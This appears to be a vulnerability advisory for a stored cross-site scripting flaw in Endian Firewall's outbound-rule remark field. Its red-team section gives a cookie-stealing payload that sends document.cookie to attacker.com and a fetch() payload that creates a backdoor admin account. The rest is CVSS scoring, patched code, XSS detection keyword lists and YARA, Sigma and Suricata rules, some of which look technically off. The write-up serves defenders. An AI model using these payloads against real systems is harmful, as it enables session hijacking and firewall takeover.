CVE-2026-34808

Executive Summary

CVE-2026-34808 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /cgi-bin/outgoingfw.cgi endpoint. The injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further compromise of the firewall management interface.

This vulnerability is particularly dangerous because it targets the administrative web interface of a network security appliance, potentially allowing an attacker to pivot from a low-privileged account to full administrative control. The attack requires authentication, but once an attacker has any valid credentials, they can poison the interface for all other users.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a custom web application vulnerability in the Endian Firewall product. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low - No special conditions are required; the attacker simply sends a crafted HTTP request.
• Privileges Required (PR): Low - The attacker must have a valid authenticated session.
• User Interaction (UI): Required - The victim must view the affected page for the XSS to execute.
• Scope (S): Changed - The injected script can affect resources beyond the vulnerable component (e.g., steal session cookies for other parts of the application).
• Confidentiality (C): Low - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low - Limited ability to modify data (e.g., change firewall rules via XSS).
• Availability (A): None - No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation within the firewall management interface makes this a serious concern for network security.

Deep Dive & Mechanics

The vulnerability resides in the outgoingfw.cgi CGI script, which handles the configuration of outbound firewall rules. The remark parameter is used to add a human-readable description to a firewall rule. This parameter is not properly sanitized or encoded before being stored in the backend database or configuration file.

When a user views the list of outbound firewall rules (likely via the same or a related CGI script), the stored remark value is retrieved and rendered in the HTML response without proper escaping. An attacker can inject a payload such as:

<script>alert(document.cookie)</script>

into the remark field. When any other authenticated user navigates to the page that displays firewall rules, the script executes in their browser context.

The attack flow:

1. Attacker logs into the Endian Firewall web interface.
2. Attacker navigates to the outbound firewall rules configuration page.
3. Attacker adds a new rule (or modifies an existing one) and sets the remark parameter to a malicious JavaScript payload.
4. The payload is stored on the server.
5. A victim (another admin) views the list of outbound firewall rules.
6. The victim's browser executes the malicious script.
7. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely retrieves the remark value from user input and stores it without sanitization. When displaying the rule, it directly embeds the value into the HTML.

# Vulnerable CGI script (conceptual)
import cgi

form = cgi.FieldStorage()
remark = form.getvalue('remark')

# Store remark in database without sanitization
db.execute("INSERT INTO firewall_rules (remark) VALUES (?)", (remark,))

# When displaying rules:
for rule in db.execute("SELECT * FROM firewall_rules"):
    print(f"<tr><td>{rule['remark']}</td></tr>")  # XSS!

Patched Code (Conceptual): The patched code would use output encoding to escape HTML special characters.

# Patched CGI script (conceptual)
import cgi
import html

form = cgi.FieldStorage()
remark = form.getvalue('remark')

# Store remark in database (still raw, but output is encoded)
db.execute("INSERT INTO firewall_rules (remark) VALUES (?)", (remark,))

# When displaying rules:
for rule in db.execute("SELECT * FROM firewall_rules"):
    safe_remark = html.escape(rule['remark'])
    print(f"<tr><td>{safe_remark}</td></tr>")  # Safe!

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for the Endian Firewall web interface.
• Network access to the management interface (typically port 443 or 10443).

Exploitation Steps:

1. Authenticate: Log in to the Endian Firewall web interface.
2. Navigate to Outbound Rules: Go to Firewall -> Outgoing (or similar).
3. Add a Rule with Malicious Remark:
   • Click "Add new rule" or edit an existing rule.
   • In the Remark field, enter a payload. For example, to steal session cookies:

     <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
     

   • Save the rule.
4. Wait for Victim: When another admin views the outbound rules list, the script executes.
5. Capture Cookie: The attacker's server receives the victim's session cookie.

Advanced Payload: To perform actions on behalf of the victim (e.g., add a backdoor admin user):

<script>
fetch('/cgi-bin/admin.cgi', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'action=add_user&username=backdoor&password=Passw0rd!&group=admin'
});
</script>

Blue Team

Detection:

• Monitor HTTP requests to /cgi-bin/outgoingfw.cgi for unusual remark parameters containing <script>, onerror=, javascript:, or other XSS patterns.
• Look for outbound connections from the firewall management interface to unknown external IPs (potential cookie exfiltration).
• Review firewall rule remarks for unexpected HTML or JavaScript content.

Hunting:

• Search logs for the string <script> in the remark field.
• Correlate rule creation events with subsequent unusual administrative actions.

Lab Setup:

1. Deploy an Endian Firewall 3.3.25 in a virtual machine.
2. Create two test users: attacker and victim.
3. Log in as attacker and inject the XSS payload.
4. Log in as victim and navigate to the outbound rules page.
5. Observe the script execution (e.g., using browser developer tools or a local HTTP listener).

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /cgi-bin/outgoingfw.cgi with remark parameter containing <script> tags.
  • Outbound HTTP connections from the firewall management interface to suspicious IPs on port 80/443.
  • Unusual Referer headers in requests to /cgi-bin/outgoingfw.cgi.

• Host (Firewall):

  • Firewall rule remarks containing HTML or JavaScript code.
  • Unexpected entries in the firewall configuration database (e.g., /etc/endian/firewall/config).
  • New user accounts created without proper authorization.

• Logs:

  • /var/log/httpd/access_log entries showing requests to /cgi-bin/outgoingfw.cgi with long remark parameters.
  • /var/log/messages or /var/log/syslog entries indicating unusual CGI script execution.

Detection Engineering

YARA Rule

rule CVE_2026_34808_XSS_Remark {
    meta:
        description = "Detects XSS payloads in Endian Firewall remark parameter"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34808"
        hash = "unknown"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $xss5 = "onfocus=" ascii wide nocase
        $xss6 = "onmouseover=" ascii wide nocase
        $xss7 = "alert(" ascii wide nocase
        $xss8 = "document.cookie" ascii wide nocase
        $xss9 = "fetch(" ascii wide nocase
        $xss10 = "XMLHttpRequest" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: Endian Firewall Stored XSS via Remark Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts against Endian Firewall outgoingfw.cgi
author: Valters IT
date: 2026-01-01
references:
    - CVE-2026-34808
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/outgoingfw.cgi'
        cs-uri-query|contains|wide|base64: 'remark='
    filter:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'alert('
            - 'document.cookie'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2026.34808

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34808 Endian Firewall Stored XSS via Remark Parameter";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/outgoingfw.cgi";
    http_uri;
    content:"remark=";
    http_client_body;
    pcre:"/(<script|onerror=|javascript:|alert\(|document\.cookie)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2026-34808;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patch becomes available, upgrade to the latest version of Endian Firewall immediately.
2. Input Validation: Implement strict input validation on the remark parameter. Reject any input containing HTML tags or JavaScript.
3. Output Encoding: Ensure all user-supplied data is properly HTML-encoded before being rendered in the browser.
4. Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if a vulnerability exists.

Long-Term Fixes:

• Code Review: Conduct a thorough security review of all CGI scripts, especially those handling user input.
• Web Application Firewall (WAF): Deploy a WAF in front of the firewall management interface to block XSS payloads.
• Least Privilege: Restrict the number of users with access to the firewall management interface. Use role-based access control.
• Session Security: Use HttpOnly and Secure flags on session cookies to prevent JavaScript access.

Workaround (if patching is not possible):

• Disable the remark field functionality if it is not critical for operations.
• Restrict access to the management interface to trusted IP addresses only.
• Monitor logs aggressively for signs of exploitation.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

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